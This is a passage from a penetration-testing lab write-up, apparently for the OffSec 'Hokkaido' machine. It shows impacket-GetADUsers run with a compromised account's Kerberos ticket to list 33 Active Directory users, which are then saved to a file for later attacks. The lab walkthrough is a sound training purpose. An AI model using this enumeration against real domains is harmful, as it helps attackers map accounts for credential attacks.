Username Extraction


Extracting domain users using the TGT of the compromised info account

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hokkaido]
└─$ KRB5CCNAME=info@dc.hokkaido-aerospace.com.ccache impacket-GetADUsers HOKKAIDO-AEROSPACE.COM/info@dc.hokkaido-aerospace.com -k -no-pass -dc-ip $IP -all
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
 
[*] Getting machine hostname
[*] Querying DC for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2023-12-06 16:56:28.952979  2025-04-25 13:35:18.027969 
Guest                                                 <never>              <never>             
krbtgt                                                2023-11-25 14:11:55.164856  <never>             
Hazel.Green                                           2023-12-06 17:34:46.565497  <never>             
Molly.Smith                                           2023-11-25 14:34:13.208684  <never>             
Alexandra.Little                                      2023-11-25 14:34:13.257776  <never>             
Victor.Kelly                                          2023-11-25 14:34:17.397712  <never>             
Catherine.Knight                                      2023-11-25 14:34:17.448586  <never>             
Angela.Davies                                         2023-11-25 14:34:17.498859  <never>             
Molly.Edwards                                         2023-11-25 14:34:17.545799  <never>             
Tracy.Wood                                            2023-11-25 14:34:17.590713  <never>             
Lynne.Tyler                                           2023-11-25 14:34:17.641025  <never>             
Charlene.Wallace                                      2023-11-25 14:34:17.701737  <never>             
Cheryl.Singh                                          2023-11-25 14:34:17.748658  <never>             
Sian.Gordon                                           2023-11-25 14:34:17.797686  <never>             
Gordon.Brown                                          2023-11-25 14:34:17.843022  <never>             
Irene.Dean                                            2023-11-25 14:34:17.889681  <never>             
Anthony.Anderson                                      2023-11-25 14:34:17.933784  <never>             
Julian.Davies                                         2023-11-25 14:34:17.981836  <never>             
Hannah.O'Neill                                        2023-11-25 14:34:18.025848  <never>             
Rachel.Jones                                          2023-11-25 14:34:18.073919  <never>             
Declan.Woodward                                       2023-11-25 14:34:18.121665  <never>             
Annette.Buckley                                       2023-11-25 14:34:18.171521  <never>             
Elliott.Jones                                         2023-11-25 14:34:18.221805  <never>             
Grace.Lees                                            2023-11-25 14:34:18.266917  <never>             
Deborah.Francis                                       2023-11-25 14:34:18.311622  <never>             
Bruce.Cartwright                                      2023-11-25 14:34:21.085790  <never>             
Nigel.Brown                                           2023-11-25 14:34:21.130709  <never>             
Derek.Wyatt                                           2023-11-25 14:34:21.175903  <never>             
discovery                                             2023-12-06 16:42:56.221832  <never>             
maintenance                                           2023-11-25 14:39:04.869703  <never>             
hrapp-service                                         2023-11-25 15:14:40.086247  <never>             
info                                                  2023-12-06 16:43:50.659216  2025-04-25 14:51:03.388741 

A total of 33 domain account.

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hokkaido]
└─$ awk '{print $1}' t > users.txt

Saving them into a file; users.txt